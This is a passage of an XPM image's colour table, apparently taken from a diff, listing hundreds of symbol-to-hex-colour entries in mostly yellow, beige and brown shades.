+"'& c #EDEBC2", +")& c #EAE7C1", +"!& c #EFECC0", +"~& c #FCF9C0", +"{& c #F8F4BF", +"]& c #E3E0BE", +"^& c #DCD8BD", +"/& c #ECE8BC", +"(& c #FFFDBB", +"_& c #EDE8BA", +":& c #EAE2B9", +"<& c #F1E9B8", +"[& c #F4EAB7", +"}& c #F6ECB5", +"|& c #F7ECB4", +"1& c #F7EBB3", +"2& c #F8EBB1", +"3& c #F7EAB0", +"4& c #F4E6AE", +"5& c #EEE0AC", +"6& c #E8DBAB", +"7& c #DACDAA", +"8& c #EFE7A8", +"9& c #FCF6A6", +"0& c #D0C4A5", +"a& c #D0C4A3", +"b& c #E2D9A1", +"c& c #E7E09F", +"d& c #F6F19D", +"e& c #FBF69B", +"f& c #F6EF9A", +"g& c #F9F298", +"h& c #FCF695", +"i& c #F9F194", +"j& c #F2E992", +"k& c #E7D990", +"l& c #D8C28E", +"m& c #CDB18C", +"n& c #CCAE8A", +"o& c #D7BA88", +"p& c #DEBF86", +"q& c #E4C48A", +"r& c #EFC181", +"s& c #DE802C", +"t& c #7B3C13", +"u& c #FFE268", +"v& c #FDFF84", +"w& c #FAFE7C", +"x& c #FBFF82", +"y& c #FBFF96", +"z& c #FBFF98", +"A& c #FBFF9A", +"B& c #FCFF9B", +"C& c #FCFFAA", +"D& c #FAFCB5", +"E& c #F6F8B7", +"F& c #F1F3B8", +"G& c #E8EBB9", +"H& c #FBF8BA", +"I& c #FAF7BB", +"J& c #E4E7BC", +"K& c #EDEFBC", +"L& c #F2F4BD", +"M& c #F6F9BE", +"N& c #FAFDBE", +"O& c #FBFEBF", +"P& c #FBFEC0", +"Q& c #FAFDC1", +"R& c #F7FBC1", +"S& c #F3F7C1", +"T& c #F0F3C2", +"U& c #E8ECC2", +"V& c #F2F2C2", +"W& c #F9F7C2", +"X& c #E6E8C2", +"Y& c #E2E4C2", +"Z& c #EBEBC2", +"`& c #EFEFC2", +" * c #F1F1C2", +".* c #F3F2C1", +"+* c #F4F2C1", +"@* c #F4F2C0", +"#* c #F3F2BF", +"$* c #F9F6C3", +"%* c #FFFCCA", +"&* c #FFFDCE", +"** c #FFFCCF", +"=* c #FFFFD0", +"-* c #FFFFCF", +";* c #FBF8CE", +">* c #F1EDCC", +",* c #FFFCC9", +"'* c #F0E9BC", +")* c #EDE5B7", +"!* c #F2E9B5", +"~* c #F5EBB4", +"{* c #F6EBB2", +"]* c #F7EBB1", +"^* c #F7EAAF", +"/* c #F6E8AD", +"(* c #F2E4AD", +"_* c #ECDEAB", +":* c #E6D8A9", +"<* c #D7CAA8", +"[* c #F6EEA6", +"}* c #FAF5A4", +"|* c #C7BAA3", +"1* c #D2C6A1", +"2* c #FFFF9F", +"3* c #FFFF9D", +"4* c #EBE59C", +"5* c #BEB39A", +"6* c #C7B998", +"7* c #D1C296", +"8* c #DCCC94", +"9* c #E4D692", +"0* c #EEE490", +"a* c #FCF88F", +"b* c #FFFF8C", +"c* c #F4EE8B", +"d* c #D9C689", +"e* c #C4A886", +"f* c #CDAF84", +"g* c #DDC088", +"h* c #E8BC7F", +"i* c #D77D2A", +"j* c #793B12", +"k* c #FFE267", +"l* c #FDFF82", +"m* c #FAFE7A", +"n* c #FBFEB2", +"o* c #F8FBB3", +"p* c #F4F6B5", +"q* c #EEF1B6", +"r* c #EAECB7", +"s* c #FEFAB8", +"t* c #F0F0B9", +"u* c #E7EBBA", +"v* c #F0F2BA", +"w* c #F9FCBC", +"x* c #FBFEBD", +"y* c #FBFEBE", +"z* c #F9FCBE", +"A* c #F6F9BF", +"B* c #F3F6BF", +"C* c #ECEFBF", +"D* c #EFF0C0", +"E* c #FEFBC0", +"F* c #EEEEC0", +"G* c #EDEEC0", +"H* c #F1F0C0", +"I* c #EEEEBF", +"J* c #F1F2BF", +"K* c #F4F3BE", +"L* c #FFFFD2", +"M* c #E8E9B4", +"N* c #C7C89B", +"O* c #BABA91", +"P* c #B0AE8C", +"Q* c #9D997F", +"R* c #9D9973", +"S* c #A09B79", +"T* c #A19E86", +"U* c #A19F89", +"V* c #C0C293", +"W* c #E3E3A8", +"X* c #F3ECBE", +"Y* c #FFF8C2", +"Z* c #FAEFB7", +"`* c #F7EAB1", +" = c #F8EBB0", +".= c #F7E9AE", +"+= c #F5E6AC", +"@= c #EFE2AB", +"#= c #E9DBA9", +"$= c #E0D3A7", +"%= c #D9CCA6", +"&= c #FFFCA4", +"*= c #EDE6A2", +"== c #C6B8A1", +"-= c #CCC19F", +";= c #F5F09D", +">= c #FFFF9B", +",= c #F8F69A", +"'= c #C8BD99", +")= c #AEA096", +"!= c #C4B495", +"~= c #CBB693", +"{= c #CEB691", +"]= c #CCB18F", +"^= c #D0B78D", +"/= c #DFD18B", +"(= c #FFFF89", +"_= c #FFFF87", +":= c #EBE085", +"<= c #C2A783", +"[= c #C9AD87", +"}= c #E0B87D", +"|= c #CC7728", +"1= c #753912", +"2= c #491A24", +"3= c #CB671C", +"4= c #FFE266", +"5= c #FDFF81", +"6= c #FAFE78", +"7= c #FAFE7B", +"8= c #FBFF81", +"9= c #FCFF98", +"0= c #FDFF9D", +"a= c #FCFFA5", +"b= c #FAFEB0", +"c= c #F7FAB1", +"d= c #F2F5B3", +"e= c #EBEEB4", +"f= c #EFEFB5", +"g= c #FBF8B6", +"h= c #E9EBB7", +"i= c #ECEFB7", +"j= c #F2F4B8", +"k= c #F7F9B9", +"l= c #FAFEBA", +"m= c #FBFFBB", +"n= c #FBFEBC", +"o= c #F6F9BC", +"p= c #F1F5BD", +"q= c #EBEFBD", +"r= c #FEFABD", +"s= c #FDFBBD", +"t= c #F2F1BD", +"u= c #F1F1BD", +"v= c #F7F5BD", +"w= c #F8F5BD", +"x= c #EFEFBB", +"y= c #FFFFCC", +"z= c #FFFFD4", +"A= c #D6D9A7", +"B= c #B0B189", +"C= c #A4A17E", +"D= c #8B836A", +"E= c #897D65", +"F= c #A49276", +"G= c #AD997D", +"H= c #AD977B", +"I= c #AC957A", +"J= c #AD9778", +"K= c #AD9776", +"L= c #9D896B", +"M= c #7D6F58", +"N= c #857C5C", +"O= c #8F886B", +"P= c #959376", +"Q= c #D3CE9E", +"R= c #FFF5B8", +"S= c #F6E9AE", +"T= c #F8EAAD", +"U= c #F4E6AB", +"V= c #ECDFA9", +"W= c #E5D8A7", +"X= c #D5C7A5", +"Y= c #E9E0A4", +"Z= c #FFFFA2", +"`= c #DACEA1", +" - c #D0C39F", +".- c #CBBC9D", +"+- c #C0B49C", +"@- c #EEE89A", +"#- c #FFFF98", +"$- c #FFFE97", +"%- c #C7BD94", +"&- c #B6A793", +"*- c #CEBC91", +"=- c #D5BF8F", +"-- c #D8C08D", +";- c #D3B98B", +">- c #C4A889", +",- c #C6AE87", +"'- c #ECE485", +")- c #FFFF83", +"!- c #F0E881", +"~- c #C2AB85", +"{- c #CDA67B", +"]- c #BF7026", +"^- c #6F3611", +"/- c #481A24", +"(- c #FFE265", +"_- c #FDFF7F", +":- c #FAFE77", +"<- c #FAFE79", +"[- c #FAFF7F", +"}- c #FBFE94", +"|- c #FAFE96", +"1- c #FAFD98", +"2- c #FAFD99", +"3- c #FAFD9B", +"4- c #FAFE9D", +"5- c #FBFE9E", +"6- c #FBFFA3", +"7- c #FBFFA5", +"8- c #FBFFAC", +"9- c #FAFDAE", +"0- c #F6F8AF", +"a- c #F1F4B0", +"b- c #E9ECB1", +"c- c #F3F2B2", +"d- c #F9F6B3", +"e- c #E6E9B4", +"f- c #EFF1B5", +"g- c #F3F5B6", +"h- c #F7FBB7", +"i- c #FBFEB7", +"j- c #FBFFB8", +"k- c #FBFFB9", +"l- c #F9FCBA", +"m- c #F6F9BA", +"n- c #F0F4BB", +"o- c #F3F4BB", +"p- c #FCF9BB", +"q- c #E6E9BB", +"r- c #E6E8B9", +"s- c #FFFFC4", +"t- c #FFFFD5", +"u- c #C7CB9E", +"v- c #8E8E70", +"w- c #827A66", +"x- c #A1917B", +"y- c #C0AB92", +"z- c #DFC8AA", +"A- c #F8E0BD", +"B- c #FCE5C1", +"C- c #F9E2BE", +"D- c #F6DFBB", +"E- c #F4DDB8", +"F- c #F4DCB5", +"G- c #F6DCB3", +"H- c #F8DCB1", +"I- c #F1D3A6", +"J- c #D8B990", +"K- c #BDA27B", +"L- c #907B5F", +"M- c #625B48", +"N- c #888767", +"O- c #E1D79F", +"P- c #F1E2A7", +"Q- c #F0E2A8", +"R- c #ECDFA8", +"S- c #DACCA5", +"T- c #D7C9A3", +"U- c #F4EDA1", +"V- c #CFC09F", +"W- c #D9C99D", +"X- c #D7C89C", +"Y- c #C4B69A", +"Z- c #BFB298", +"`- c #F9F497", +" ; c #FFFC93", +".; c #C3B691", +"+; c #C0AD8F", +"@; c #D5BE8D", +"#; c #DBC18B", +"$; c #DCC08A", +"%; c #D8BD88", +"&; c #C5AB86", +"*; c #B59B84", +"=; c #E9DF82", +"-; c #FFFF80", +";; c #EFE784", +">; c #BF9C79", +",; c #AE6523", +"'; c #69330F", +"); c #471A23", +"!; c #4E211E", +"~; c #FFE264", +"{; c #FCFF7E", +"]; c #FAFE76", +"^; c #FAFE8D", +"/; c #FAFD8F", +"(; c #F9FC91", +"_; c #F7FA93", +":; c #F6F994", +"<; c #F5F896", +"[; c #F5F898", +"}; c #F5F89A", +"|; c #F6F99B", +"1; c #F7FA9D", +"2; c #F8FB9E", +"3; c #F8FBA0", +"4; c #F9FCA1", +"5; c #F8FCA3", +"6; c #F8FCA4", +"7; c #F9FCA6", +"8; c #F9FCA7", +"9; c #FAFDA8", +"0; c #FBFEA9", +"a; c #FBFFAB", +"b; c #FAFDAC", +"c; c #F5F8AD", +"d; c #F0F3AE", +"e; c #E7EBAF", +"f; c #F8F5B0", +"g; c #F8F5B1", +"h; c #E5E9B2", +"i; c #EEF1B3", +"j; c #F3F5B4", +"k; c #F8FBB5", +"l; c #FBFEB5", +"m; c #FBFFB6", +"n; c #FAFEB7", +"o; c #F9FCB8", +"p; c #F6F9B8", +"q; c #F1F5B8", +"r; c #FBF9B9", +"s; c #F2F3B8", +"t; c #E9EDB9", +"u; c #EDEFB8", +"v; c #F1F3BA", +"w; c #FFFFD1", +"x; c #DEE2AF", +"y; c #8A8A6D", +"z; c #827864", +"A; c #AB9986", +"B; c #F3DDBF", +"C; c #FFEFCD", +"D; c #F6E3C5", +"E; c #ECDBC0", +"F; c #EAD9BE", +"G; c #EAD9BD", +"H; c #EAD8BC", +"I; c #E9D6BA", +"J; c #E8D5B6", +"K; c #E7D3B4", +"L; c #E6D1B1", +"M; c #E5CFAD", +"N; c #E3CDA9", +"O; c #E3CBA5", +"P; c #EBD0A4", +"Q; c #FDDCA7", +"R; c #D2B387", +"S; c #6B5C47", +"T; c #575541", +"U; c #B8AF80", +"V; c #E0D39D", +"W; c #E2D4A4", +"X; c #E7DBA5", +"Y; c #F7F3A2", +"Z; c #FDFCA0", +"`; c #D6C89F", +" > c #D5C59C", +".> c #DECD9B", +"+> c #DDCB9A", +"@> c #D7C798", +"#> c #BEAF96", +"$> c #CFC495", +"%> c #FFFF93", +"&> c #FFFF91", +"*> c #E5DD8F", +"=> c #BDAB8D", +"-> c #D2BB8C", +";> c #DDC18A", +">> c #E1C388", +",> c #DEC086", +"'> c #D4B984", +")> c #BDA382", +"!> c #B9A380", +"~> c #FAF67E", +"{> c #CEB478", +"]> c #985221", +"^> c #64310E", +"/> c #451921", +"(> c #FFE263", +"_> c #FCFF7C", +":> c #FAFE74", +"<> c #FAFE88", +"[> c #F9FD89", +"}> c #F8FC8B", +"|> c #F6FA8D", +"1> c #F4F78F", +"2> c #F2F591", +"3> c #F0F393", +"4> c #EFF194", +"5> c #EEF196", +"6> c #EEF198", +"7> c #F0F299", +"8> c #F1F39B", +"9> c #F1F49C", +"0> c #F2F59E", +"a> c #F3F59F", +"b> c #F3F5A1", +"c> c #F2F5A2", +"d> c #F3F6A4", +"e> c #F8FBA7", +"f> c #F7FAA6", +"g> c #FAFDA9", +"h> c #F9FCAA", +"i> c #F4F7AB", +"j> c #EFF2AC", +"k> c #E6EAAD", +"l> c #F8F5AE", +"m> c #F7F4AF", +"n> c #E4E7B0", +"o> c #EDF0B1", +"p> c #F2F5B2", +"q> c #FBFEB3", +"r> c #FBFFB3", +"s> c #FBFFB4", +"t> c #FAFEB5", +"u> c #F9FDB6", +"v> c #F6FAB6", +"w> c #F6F9B6", +"x> c #F8F8B6", +"y> c #F0F3B7", +"z> c #F0F3B4", +"A> c #FFFFC6", +"B> c #A6A87F", +"C> c #746F5B", +"D> c #A49582", +"E> c #FBE6C9", +"F> c #FFF2D4", +"G> c #ECDDC3", +"H> c #ECDDC5", +"I> c #ECDEC6", +"J> c #EDDEC5", +"K> c #ECDDC4", +"L> c #ECDBC2", +"M> c #EBDAC0", +"N> c #E8D6B9", +"O> c #E8D4B6", +"P> c #E6D2B0", +"Q> c #E5D0AE", +"R> c #E3CEAB", +"S> c #E2CBA7", +"T> c #DDC59E", +"U> c #ECCE9F", +"V> c #FCD7A1", +"W> c #877257", +"X> c #3D3C2F", +"Y> c #9D966F", +"Z> c #CABC94", +"`> c #F1E9A0", +" , c #FFFFA1", +"., c #DDD19E", +"+, c #CBBC9C", +"@, c #DDCE9B", +"#, c #E1CF99", +"$, c #E3CF98", +"%, c #DECC96", +"&, c #D2C194", +"*, c #B7A893", +"=, c #EFE791", +"-, c #FFFE8F", +";, c #F4EE8D", +">, c #CFC08C", +",, c #C7AF8A", +"', c #DCC088", +"), c #E4C486", +"!, c #E4C384", +"~, c #DBBC82", +"{, c #CEB380", +"], c #B0967F", +"^, c #D4C47C", +"/, c #FFFF81", +"(, c #E5D376", +"_, c #8F4C1F", +":, c #5E2D0D", +"<, c #431821", +"[, c #4D201E", +"}, c #FFE261", +"|, c #FCFF7A", +"1, c #F9FE73", +"2, c #FAFE75", +"3, c #FAFE84", +"4, c #F8FC86", +"5, c #F7FA88", +"6, c #F4F88A", +"7, c #F1F58B", +"8, c #EEF18D", +"9, c #ECEE8F", +"0, c #E6EA90", +"a, c #E3E792", +"b, c #E3E794", +"c, c #E3E795", +"d, c #E5E997", +"e, c #E9ED99", +"f, c #EBEE9A", +"g, c #ECEF9C", +"h, c #ECEE9D", +"i, c #EBEE9E", +"j, c #E8EC9F", +"k, c #F8FCAA", +"l, c #EEF5A1", +"m, c #FAFDAA", +"n, c #F7FBA7", +"o, c #F8FCA9", +"p, c #F3F6A9", +"q, c #EFF1AA", +"r, c #E5E9AB", +"s, c #F4F3AB", +"t, c #F9F5AC", +"u, c #E2E6AE", +"v, c #ECEEAE", +"w, c #F1F5AF", +"x, c #F7FAB0", +"y, c #FAFEB1", +"z, c #FBFFB1", +"A, c #FBFFB2", +"B, c #FAFEB3", +"C, c #F9FDB3", +"D, c #F7FCB3", +"E, c #F6FAB4", +"F, c #F4F8B4", +"G, c #F4F7B2", +"H, c #E6EBAE", +"I, c #807F61", +"J, c #857A6C", +"K, c #E5D4BD", +"L, c #FFF9DB", +"M, c #EEDFC8", +"N, c #EDDFC9", +"O, c #EFE1CB", +"P, c #EEE1CB", +"Q, c #EEE0CA", +"R, c #EDDFC7", +"S, c #ECDCC4", +"T, c #EADAC0", +"U, c #EDDBC0", +"V, c #FBE7C6", +"W, c #FFEDCA", +"X, c #FFEAC5", +"Y, c #FEE5BF", +"Z, c #FFE8C0", +"`, c #F0D8B4", +" ' c #E1CBA8", +".' c #DFC7A0", +"+' c #E0C599", +"@' c #FFDCA4", +"#' c #917A5D", +"$' c #3A392C", +"%' c #988F6D", +"&' c #C2B68C", +"*' c #FFFC9D", +"=' c #EEE79E", +"-' c #CEBF9B", +";' c #DCCB99", +">' c #E3CF97", +",' c #E7D196", +"'' c #E4CF94", +")' c #DAC693", +"!' c #BEAC91", +"~' c #D0C58F", +"{' c #FFFF8D", +"]' c #FBF58C", +"^' c #DED48A", +"/' c #BDA788", +"(' c #D7BD86", +"_' c #E3C384", +":' c #E7C582", +"<' c #E1BF81", +"[' c #D4B57E", +"}' c #BCA07D", +"|' c #C2AD7B", +"1' c #FFFF7F", +"2' c #FBEE74", +"3' c #97571F", +"4' c #5A280D", +"5' c #431820", +"6' c #4C201E", +"7' c #FFE260", +"8' c #FCFF78", +"9' c #F9FE71", +"0' c #F9FE81", +"a' c #F7FC82", +"b' c #F5F984", +"c' c #F2F686", +"d' c #EEF188", +"e' c #EAED8A", +"f' c #E1E68B", +"g' c #DEE18D", +"h' c #E7E88F", +"i' c #F0EF90", +"j' c #F6F392", +"k' c #F5F393", +"l' c #EAEA95", +"m' c #E0E397", +"n' c #DFE398", +"o' c #E1E49A", +"p' c #DFE39B", +"q' c #E0E39C", +"r' c #F6F8AB", +"s' c #BABC83", +"t' c #726D56", +"u' c #9B9D6D", +"v' c #EFF3A4", +"w' c #F3F5A6", +"x' c #F1F4A4", +"y' c #F3F6A7", +"z' c #EFF2A8", +"A' c #E5E9A8", +"B' c #EFEFA9", +"C' c #FFFAAA", +"D' c #E5E7AB", +"E' c #E7EBAC", +"F' c #EFF2AD", +"G' c #F5F9AD", +"H' c #F9FDAE", +"I' c #FBFFAF", +"J' c #FBFFB0", +"K' c #F9FDB1", +"L' c #F8FDB1", +"M' c #F7FCB1", +"N' c #F8FCB1", +"O' c #FFFFC9", +"P' c #C9CD92", +"Q' c #6C6852", +"R' c #B6A798", +"S' c #FFF8DE", +"T' c #F8EAD3", +"U' c #EDE0CC", +"V' c #F0E3D0", +"W' c #F0E3CF", +"X' c #EFE3CE", +"Y' c #EEE1CC", +"Z' c #EDDEC8", +"`' c #F0E0C7", +" ) c #FFF2D3", +".) c #FFF5D3", +"+) c #EDD7B9", +"@) c #BCA991", +"#) c #9D8D78", +"$) c #92846E", +"%) c #91836B", +"&) c #93826E", +"*) c #C1A98E", +"=) c #FFE6BB", +"-) c #F0D9B1", +";) c #DFC8A4", +">) c #DFC7A1", +",) c #DFC497", +"') c #FFDCA3", +")) c #7D6B51", +"!) c #3A392B", +"~) c #988C6F", +"{) c #CAC089", +"]) c #FFFF9A", +"^) c #E2D59A", +"/) c #D3C097", +"() c #E3CF95", +"_) c #E8D194", +":) c #E7D092", +"<) c #DFC991", +"[) c #CDBA8F", +"}) c #B9AA8D", +"|) c #FFFF8A", +"1) c #EAE188", +"2) c #C0AC86", +"3) c #D0B585", +"4) c #E0C083", +"5) c #E8C480", +"6) c #E4C17F", +"7) c #D9B87D", +"8) c #C3A27B", +"9) c #D1BD79", +"0) c #FFFF7D", +"a) c #FFF473", +"b) c #A06020", +"c) c #FFE25F", +"d) c #FCFF76", +"e) c #F9FE70", +"f) c #F9FE72", +"g) c #F9FE74", +"h) c #F9FE7D", +"i) c #F7FC7F", +"j) c #F5F981", +"k) c #F0F482", +"l) c #ECEF84", +"m) c #E3E786", +"n) c #DADF88", +"o) c #E6E789", +"p) c #F7F58B", +"q) c #FBF78D", +"r) c #F9F58E", +"s) c #F3F090", +"t) c #F4F192", +"u) c #FBF793", +"v) c #F9F695", +"w) c #E6E796", +"x) c #E3E598", +"y) c #F4F199", +"z) c #F6F59C", +"A) c #FBF997", +"B) c #968E6C", +"C) c #D6BCB4", +"D) c #918379", +"E) c #6D704D", +"F) c #C3C886", +"G) c #D6D892", +"H) c #ECEFA2", +"I) c #EFF3A7", +"J) c #E7EBA7", +"K) c #E5E8A7", +"L) c #FFFDA8", +"M) c #EFEEA9", +"N) c #DFE4A9", +"O) c #ECEFAA", +"P) c #F3F6AB", +"Q) c #F8FBAC", +"R) c #FAFEAC", +"S) c #FBFFAD", +"T) c #FAFEAE", +"U) c #FAFFAF", +"V) c #B8BC81", +"W) c #6A6253", +"X) c #DBCCBD", +"Y) c #FFFCE3", +"Z) c #EFE2CE", +"`) c #F0E4D2", +" ! c #F1E6D4", +".! c #F1E6D3", +"+! c #F0E4D0", +"@! c #EEE0CC", +"#! c #FCECD3", +"$! c #FFFDDE", +"%! c #F4E1C6", +"&! c #B0A08C", +"*! c #7D7261", +"=! c #68614C", +"-! c #4E4A36", +";! c #504E37", +">! c #666547", +",! c #797755", +"'! c #7A7759", +")! c #757451", +"!! c #787353", +"~! c #7B6D5B", +"{! c #D4BB9A", +"]! c #FCE2B8", +"^! c #DEC8A3", +"/! c #E5C899", +"(! c #EFCC96", +"_! c #514736", +":! c #4E4B39", +"~ c #E2D3BB", +",~ c #8F8474", +"'~ c #585343", +")~ c #45442E", +"!~ c #4E4F32", +"~~ c #818055", +"{~ c #B2AE78", +"]~ c #CEC78B", +"^~ c #D7D195", +"/~ c #DED69A", +"(~ c #E0D6A2", +"_~ c #FEF8AB", +":~ c #EFEBA1", +"<~ c #938F70", +"[~ c #615A48", +"}~ c #C5AD8E", +"|~ c #F9DFB6", +"1~ c #E0C8A3", +"2~ c #DDC49B", +"3~ c #FAD8A1", +"4~ c #B49972", +"5~ c #353226", +"6~ c #776E54", +"7~ c #AA9E77", +"8~ c #FEF991", +"9~ c #E8DB95", +"0~ c #D6C191", +"a~ c #E4CE90", +"b~ c #E7CF8E", +"c~ c #E2CA8C", +"d~ c #D6C08B", +"e~ c #BBA78A", +"f~ c #CEC188", +"g~ c #FFFF86", +"h~ c #FEF984", +"i~ c #CCBC83", +"j~ c #BFA581", +"k~ c #DABB7F", +"l~ c #E4C17D", +"m~ c #E6C07B", +"n~ c #E0BB7A", +"o~ c #D6B378", +"p~ c #D5B776", +"q~ c #D8C17A", +"r~ c #DDBE71", +"s~ c #B96D24", +"t~ c #683110", +"u~ c #441922", +"v~ c #A34700", +"w~ c #FFE25D", +"x~ c #FCFF73", +"y~ c #F9FE6C", +"z~ c #F9FE76", +"A~ c #F8FD77", +"B~ c #F5FA7A", +"C~ c #F0F47B", +"D~ c #EAED7D", +"E~ c #DEE27F", +"F~ c #D3D781", +"G~ c #F8F582", +"H~ c #FFF984", +"I~ c #D9DB86", +"J~ c #D1D687", +"K~ c #D9DD89", +"L~ c #DDE08B", +"M~ c #DEE18C", +"N~ c #DCDF8F", +"O~ c #D9DD91", +"P~ c #E5E692", +"Q~ c #E6E894", +"R~ c #DCE095", +"S~ c #F5FAA6", +"T~ c #909565", +"U~ c #988B7D", +"V~ c #FFF2D2", +"W~ c #F2E2C5", +"X~ c #FFF1D7", +"Y~ c #554F46", +"Z~ c #4B5030", +"`~ c #ADB078", +" { c #D8DA97", +".{ c #E7E9A4", +"+{ c #DADEA3", +"@{ c #E1E1A4", +"#{ c #FFFEA4", +"${ c #E1E1A5", +"%{ c #DBDFA6", +"&{ c #EAEDA7", +"*{ c #F1F5A7", +"={ c #F7FBA8", +"-{ c #FAFEA8", +";{ c #FAFFA9", +">{ c #F9FFA7", +",{ c #C2C882", +"'{ c #6C6458", +"){ c #F3E5D5", +"!{ c #FFF6DF", +"~{ c #EFE4D2", +"{{ c #F2E8D8", +"]{ c #F2E9D9", +"^{ c #F2E8D7", +"/{ c #EFE2D0", +"({ c #FFFEE6", +"_{ c #FCEED6", +":{ c #8E8575", +"<{ c #413F31", +"[{ c #383924", +"}{ c #6A6A45", +"|{ c #AAA772", +"1{ c #C9C387", +"2{ c #D9D391", +"3{ c #EAE29D", +"4{ c #F2E9A3", +"5{ c #F3EAA6", +"6{ c #F2E8A6", +"7{ c #EAE0A5", +"8{ c #F3ECA4", +"9{ c #F4EDA3", +"0{ c #FBF0B7", +"a{ c #C4BF8D", +"b{ c #736A54", +"c{ c #E4CAA6", +"d{ c #E8D0AA", +"e{ c #E2CAA4", +"f{ c #DDC396", +"g{ c #F4D199", +"h{ c #60553F", +"i{ c #44422F", +"j{ c #887B62", +"k{ c #DFD885", +"l{ c #F8EF93", +"m{ c #D4BF90", +"n{ c #E1CB8E", +"o{ c #E5CC8C", +"p{ c #E1C98B", +"q{ c #D6C089", +"r{ c #BDA888", +"s{ c #C8BB86", +"t{ c #FFFC84", +"u{ c #FBF583", +"v{ c #D4C681", +"w{ c #BBA27F", +"x{ c #D6B87E", +"y{ c #E2BF7B", +"z{ c #E6BF7A", +"A{ c #E1BB78", +"B{ c #DBB776", +"C{ c #D1AB74", +"D{ c #CBA778", +"E{ c #D0A16F", +"F{ c #C27026", +"G{ c #6F3711", +"H{ c #461923", +"I{ c #602D19", +"J{ c #CC671D", +"K{ c #FFE25C", +"L{ c #FBFF71", +"M{ c #F9FE6B", +"N{ c #F9FE6D", +"O{ c #F9FE6F", +"P{ c #F6FC76", +"Q{ c #F1F677", +"R{ c #EAEE7A", +"S{ c #E1E47B", +"T{ c #CCD27D", +"U{ c #EFEC7E", +"V{ c #FFFD81", +"W{ c #CFD182", +"X{ c #CBCF83", +"Y{ c #D7DA86", +"Z{ c #DADD87", +"`{ c #DCDE89", +" ] c #DCDF8A", +".] c #DDDF8C", +"+] c #DDE08D", +"@] c #DEE18F", +"#] c #DDE190", +"$] c #E0E392", +"%] c #E5E893", +"&] c #FFFFA3", +"*] c #989C63", +"=] c #A09385", +"-] c #FFEFD0", +";] c #E7D7BB", +">] c #FFF7D9", +",] c #C9B7A5", +"'] c #343526", +")] c #7B7E55", +"!] c #B3B57F", +"~] c #DADC9C", +"{] c #DADDA3", +"]] c #C5C9A1", +"^] c #F1EDA2", +"/] c #F9F7A3", +"(] c #D5D9A3", +"_] c #E3E6A4", +":] c #ECF0A5", +"<] c #F3F7A5", +"[] c #F6FAA6", +"}] c #F8FCA6", +"|] c #F5FBA4", +"1] c #FFFFBB", +"2] c #D4D98D", +"3] c #726D58", +"4] c #E8DBCF", +"5] c #FFF7DF", +"6] c #FFFFEA", +"7] c #DED3BD", +"8] c #4F4B3E", +"9] c #272917", +"0] c #686845", +"a] c #A29F6F", +"b] c #C5C185", +"c] c #E0DB97", +"d] c #F2ECA1", +"e] c #FAF1A6", +"f] c #FCF3A6", +"g] c #F9F0A5", +"h] c #F4EBA4", +"i] c #EFE6A2", +"j] c #E7DDA1", +"k] c #F1E8A0", +"l] c #F0E99F", +"m] c #D8CD9C", +"n] c #FFF7B6", +"o] c #9D976F", +"p] c #95846D", +"q] c #FBE1B9", +"r] c #E3CCA8", +"s] c #DFC79E", +"t] c #FCD9A1", +"u] c #907C5C", +"v] c #333123", +"w] c #756952", +"x] c #BEB676", +"y] c #FDF78E", +"z] c #DBC88F", +"A] c #DCC58C", +"B] c #E2CA8A", +"C] c #DFC789", +"D] c #D6BF87", +"E] c #BBA785", +"F] c #C6B984", +"G] c #FFFB83", +"H] c #FEF880", +"I] c #DBCE7F", +"J] c #B79E7D", +"K] c #D3B67B", +"L] c #DFBC7A", +"M] c #E3BD78", +"N] c #E0BA76", +"O] c #DAB374", +"P] c #D4AC72", +"Q] c #D5B176", +"R] c #DCAF6E", +"S] c #CA7527", +"T] c #713812", +"U] c #471923", +"V] c #FFE25B", +"W] c #FBFF6F", +"X] c #F9FE69", +"Y] c #F8FE72", +"Z] c #F4FA74", +"`] c #ECF176", +" ^ c #E3E778", +".^ c #CED479", +"+^ c #DCDB7B", +"@^ c #DAD97F", +"#^ c #BFC480", +"$^ c #D0D282", +"%^ c #D3D684", +"&^ c #D3D685", +"*^ c #D2D786", +"=^ c #D2D788", +"-^ c #D5D98A", +";^ c #D7DB8B", +">^ c #DBDF8C", +",^ c #E0E38E", +"'^ c #E4E78F", +")^ c #E7EB90", +"!^ c #95985F", +"~^ c #A49689", +"{^ c #FFF0D1", +"]^ c #EBDCC2", +"^^ c #EDDCC2", +"/^ c #FFFDE1", +"(^ c #6A6457", +"_^ c #363A23", +":^ c #91936A", +"<^ c #BABD8E", +"[^ c #CCCFA0", +"}^ c #DBDCA0", +"|^ c #F7F6A0", +"1^ c #FFFFA0", +"2^ c #E9E9A1", +"3^ c #D3D8A2", +"4^ c #E4E8A2", +"5^ c #EDF0A3", +"6^ c #F0F4A3", +"7^ c #EFF4A2", +"8^ c #FFFFB1", +"9^ c #E4E999", +"0^ c #6D6C50", +"a^ c #D6C9C2", +"b^ c #FFFBE3", +"c^ c #EEE2D0", +"d^ c #F2E8D6", +"e^ c #F2E7D7", +"f^ c #EFE1D0", +"g^ c #FFFFE8", +"h^ c #DAD0BB", +"i^ c #302D23", +"j^ c #404224", +"k^ c #84825B", +"l^ c #A6A475", +"m^ c #D4D090", +"n^ c #F1EBA1", +"o^ c #FBF4A6", +"p^ c #FCF4A5", +"q^ c #F9F2A4", +"r^ c #F8EFA2", +"s^ c #F5ECA1", +"t^ c #F1E7A0", +"u^ c #EDE39F", +"v^ c #E5DA9E", +"w^ c #F1E99D", +"x^ c #F1EA9C", +"y^ c #DACF9B", +"z^ c #ECE0A5", +"A^ c #B4AE7B", +"B^ c #867B60", +"C^ c #F9DFB9", +"D^ c #E4CEAB", +"E^ c #E3CAA4", +"F^ c #F3D3A0", +"G^ c #B69C72", +"H^ c #3F3A29", +"I^ c #675D45", +"J^ c #A59A6A", +"K^ c #F8F489", +"L^ c #E2D18D", +"M^ c #D7BF8A", +"N^ c #DFC788", +"O^ c #DCC487", +"P^ c #D3BC85", +"Q^ c #B8A384", +"R^ c #CCC082", +"S^ c #FFFE81", +"T^ c #FFFC7F", +"U^ c #CCBD7D", +"V^ c #B69D7B", +"W^ c #D2B37A", +"X^ c #DDBA78", +"Y^ c #DFBA76", +"Z^ c #D6AE74", +"`^ c #D7B073", +" / c #DDBC71", +"./ c #D7B573", +"+/ c #D9A66D", +"@/ c #CD7628", +"#/ c #733812", +"$/ c #4E201E", +"%/ c #FFE25A", +"&/ c #FBFF6D", +"*/ c #F8FE67", +"=/ c #F9FF6E", +"-/ c #F8FD70", +";/ c #F1F672", +">/ c #E6EB74", +",/ c #D8DD76", +"'/ c #C8CC77", +")/ c #FEF979", +"!/ c #F7F27B", +"~/ c #B8BC7C", +"{/ c #C3C67E", +"]/ c #C4C880", +"^/ c #C9CD82", 